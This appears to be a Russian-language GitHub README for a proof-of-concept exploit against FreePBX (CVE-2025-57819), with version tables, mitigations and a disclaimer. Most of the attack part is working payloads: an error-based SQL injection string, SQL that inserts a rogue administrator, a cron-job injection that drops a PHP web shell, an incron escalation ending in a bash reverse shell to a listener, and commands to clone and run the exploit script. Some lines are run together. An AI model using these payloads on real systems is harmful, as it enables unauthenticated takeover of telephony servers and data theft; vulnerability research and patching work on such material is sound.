
CVE-2025-57819 FreePBX SQLi RCE PoC
Только для образовательных целей и исследований в области безопасности — см. юридическое уведомление ниже
Эксплойт proof of concept для CVE-2025-57819 — критической неаутентифицированной уязвимости SQL-инъекции в FreePBX, позволяющей удаленное выполнение кода. Данный PoC опубликован после выпуска официальных патчей только для исследований в области безопасности и авторизованного тестирования.
FreePBX версии 15.x, 16.x и 17.x (ниже пропатченных версий) уязвимы к неаутентифицированной SQL-инъекции в AJAX-обработчике модуля endpoint. Эта цепочка уязвимостей позволяет:
| CVE ID | CVE-2025-57819 |
| Тип | Неаутентифицированная SQL-инъекция (основанная на ошибках) |
| CVSS | 9.8 / 10.0 (критическая) |
| Затронуты | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| Исправлено | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | Да (29 августа 2025 г.) |
GET /admin/ajax.php?brand=<PAYLOAD>
Параметр brand в AJAX-обработчике модуля endpoint принимает пользовательский ввод без проверки, что приводит к SQL-инъекции, основанной на ошибках.
Проверьте SQLi с помощью извлечения на основе ошибок через EXTRACTVALUE() для получения имени базы данных:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Вставьте новую административную учетную запись в asterisk.ampusers:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
Используя действительные учетные данные администратора, эксплойт аутентифицируется в FreePBX и устанавливает аутентифицированную сессию. Файлы cookie сессии сохраняются и используются для всех последующих аутентифицированных запросов.
Внедрите команду веб-шелла в asterisk.cron_jobs:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
Планировщик cron FreePBX выполняет команду от имени пользователя asterisk, разворачивая PHP-веб-шелл.
PHP-веб-шелл развертывается в /var/www/html/shell.php:
<?php system($_GET['cmd']); ?>
Эксплойт опрашивает веб-шелл до его активации, добиваясь RCE от имени пользователя asterisk (uid=999).
Если на целевой системе настроен incron:
/var/spool/asterisk/incron/incrond (работающий от имени root) обнаруживает создание файла/usr/bin/sysadmin_manager с именем файла-триггераsysadmin_manager проверяет GPG-подпись и передает управление хуку fwconsole-commands/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1Результат: root-шелл на reverse-слушателе (при наличии incron).
brandasterisk.cron_jobs выполняет команды от имени asteriskgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| Версия | Статус |
|---|---|
| 15.0.0 - 15.0.65 | Уязвима |
| 15.0.66+ | Исправлена |
| 16.0.0 - 16.0.88 | Уязвима |
| 16.0.89+ | Исправлена |
| 17.0.0 - 17.0.2 | Уязвима |
| 17.0.3+ | Исправлена |
Немедленно:
/admin/ajax.php из недоверенных сетейsystemctl disable incrondПостоянно: Обновитесь до исправленных версий: 15.0.66+, 16.0.89+ или 17.0.3+
⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ
Этот proof of concept предоставляется ИСКЛЮЧИТЕЛЬНО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ И ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ. Автор не несет ответственности за неправомерное использование или ущерб, причиненный этим инструментом.
ВЫ ОБЯЗАНЫ СОБЛЮДАТЬ:
ЗАПРЕЩЕННОЕ ИСПОЛЬЗОВАНИЕ:
ОСВОБОЖДЕНИЕ ОТ ОТВЕТСТВЕННОСТИ: Автор не несет ответственности за:
Данная уязвимость:
JazzTheRabbit
Лицензия MIT